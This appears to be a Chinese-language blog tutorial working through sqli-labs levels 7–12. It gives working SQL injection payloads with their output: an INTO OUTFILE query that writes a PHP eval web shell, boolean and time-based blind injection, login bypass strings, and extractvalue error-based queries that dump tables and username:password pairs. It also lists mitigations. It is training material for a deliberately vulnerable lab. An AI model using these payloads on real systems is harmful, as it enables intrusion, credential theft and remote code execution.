2021年9月24日 星期五

從sqli-labs學習SQL注入(Less7-Less12)

 接續前篇 從sqli-labs學習SQL注入(Less1-Less6)  

Less-7

因為這裡把print_r(mysql_error());給註釋掉了(和Less-5 相比),所以就不可以使用報錯注入了,這個時候只能使用布爾盲注延時盲注,可以嘗試手工驗證一下然後放到 sqlmap 裡面來跑。

經過幾次嘗試,不難猜到頁面不會產生SQL報錯了。但是本題的題目是:Dump into Outfile
所以我們使用Less-2 去找出相關的文件夾位置

找目錄payload

Less-2/?id=-1 union select 1,@@basedir,@@datadir --+
輸出內容:
Your Login name:/usr/
Your Password:/var/lib/mysql/

如果靶場環境是常見的套件裝的,這時候可以透過上面返回的路徑猜php項目目錄,如:Linux nginx(/usr/local/nginx/html, /home/wwwroot/default, /usr/share/nginx, /var/www/htm ..等)、apache(/var/www/htm,.../var/www/html/htdocs)、phpstudy(http://phpstudy20180211/PHPTutorial/WWW/)、xampp(\xampp\htdocs)

但是因為我MySQL用的是docker容器,所以和php環境是隔離開來的,所以這題沒法寫後門到php環境。

手動寫檔

直接在Navicat 裡面跑一遍SQL有無報錯
select 1,2,'' into outfile "C:\\path\\sqli-labs\\eval.php"
報錯:1290 - The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
注意:windows系統要用\\ 去寫路徑
原來是docker mysql:5.6 容器設置了 secure_file_priv:/var/lib/mysql-files/  
可以使用 Less-2/?id=-1 union select 1,@@basedir,@@secure_file_priv --+ 查出來

關於 secure_file_priv 

https://www.cnblogs.com/Braveliu/p/10728162.html  Mysql 导入文件提示 --secure-file-priv option 问题
(1)NULL,表示禁止。
(2)如果value值有文件夾目錄,則表示只允許該目錄下文件(PS:測試子目錄也不行)。
(3)如果為空,則表示不限制目錄。

寫後門payload

?id=1')) union select 1,2,'<?php @eval($_POST["cmd"]);?>' into outfile "/var/lib/mysql-files/eval.php"--+
輸出內容:You have an error in your SQL syntax
雖然報錯了,但是一句話木馬文件已經寫進去了,我們進docker容器看一下
# docker exec -it my-mysql-5.6 bash
root@135b4e1fccde:/# ls /var/lib/mysql-files/
eval.php
root@135b4e1fccde:/# cat /var/lib/mysql-files/eval.php
1       2       <?php @eval($_POST["cmd"]);?>

如何避免SQL注入寫木馬

滿足以下其中一條即可
1. 把php環境和MySQL環境分開(docker或不同機器)
2. MySQL設置 secure_file_priv
3. php不要用root連MySQL,開的用戶不給file權限(Navicat中不給伺服器權限,只給資料庫權限)

布爾盲注

?id=1')) and left(database(),1)>'r'--+  
輸出內容:You are in.... Use outfile......
?id=1')) and left(database(),1)>'s'--+  
輸出內容:You have an error in your SQL syntax

這邊要注意,id=1後面加兩個)。由此得知資料庫的第一個字是s


Less-8

和Less-7 類似,注釋掉報錯 print_r(mysql_error()) 了,拼接只有單引號。可使用布爾盲注延時盲注 

布爾盲注

最後可以得到這個payload

payload

?id=1' and left((select database()),8)='security'--+
輸出內容:You are in...........
得知庫名是security

Less-9

和Less-8類似,不同的是無論有無查到內容都會輸出內容【You are in...........】,所以不能使用布爾盲注了。只能使用延時盲注 ,參考Less-5的延時手注
測試有無延時盲注注入點
?id=1' and sleep(3) --+

Less-10

和Less-9類似,只是拼接方式不一樣,把id=1'的單引號改成雙引號, id=1"

POST類型

Less-11 到 Less-20 登錄表單問題是POST提交。可以使用HackBar 或 burpsuit

Less-11

萬能密碼(HackBar)

uname=admin' and 1=1 --+&passwd=
如果我使用 uname=admin' and 1=1 --+&passwd=admin&submit=Submit ,HackBar會報錯form.submit is not a function

Burp Suite

社區版和專業版的區別

見下圖
社區版不能保存專案(工作狀態)



萬能密碼(Burp Suite)

打開Burp Suite => Proxy => Intercept(攔截)
Open browser
訪問 Less-11
然後提交表單,就會在burp suite中攔截請求
修改請求

// 能登錄

uname=admin' and 1=1 --+ &passwd=&submit=Submit

// 不能登錄

uname=admin' and 1=2 --+ &passwd=&submit=Submit
Forward 
即可登錄

報錯盲注

爆庫名

(一樣使用burp suite)
uname=admin' and extractvalue(1,concat(0x7e,(select database()))) --+&passwd=admin&submit=Submit
輸出內容:XPATH syntax error: '~security'

爆表名

uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+&passwd=admin&submit=Submit
輸出內容:XPATH syntax error: '~emails,referers,uagents,users'

爆字段

uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()))) --+&passwd=admin&submit=Submit
輸出內容:XPATH syntax error: '~id,username,password'

爆值

uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)))--+&passwd=admin&submit=Submit
輸出內容:XPATH syntax error: '~Dumb:Dumb,Angelina:I-kill-you,D'
使用 not in 爆其他值
uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','Angelina'))))--+&passwd=admin&submit=Submit
輸出內容:XPATH syntax error: '~Dummy:p@ssword,secure:crappy,st'

聯合盲注

檢查注入點

uname=0' union select 1,2  --+&passwd=admin&submit=Submit
輸出內容:
Your Login name:1
Your Password:2


發現注入點

爆庫名

uname=0' union select 1,database() --+&passwd=admin&submit=Submit
輸出內容:
Your Login name:1
Your Password:security

Less-12

報錯盲注

這題拼接SQL的方式是雙引號加括號
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"'; 
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
可在burp suite的瀏覽器中裝chrome XDebug插件後斷點觀察SQL拼接情況

爆庫名

uname=admin") and extractvalue(1,concat(0x7e,(select database()))) --+&passwd=admin&submit=Submit
輸出內容:XPATH syntax error: '~security'


爆表名

uname=admin")  and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+&passwd=admin&submit=Submit
輸出內容:XPATH syntax error: '~emails,referers,uagents,users'
就是把Less-11 報錯盲注的單引號改成雙引號加括號,聯合盲注也是一樣







沒有留言:

張貼留言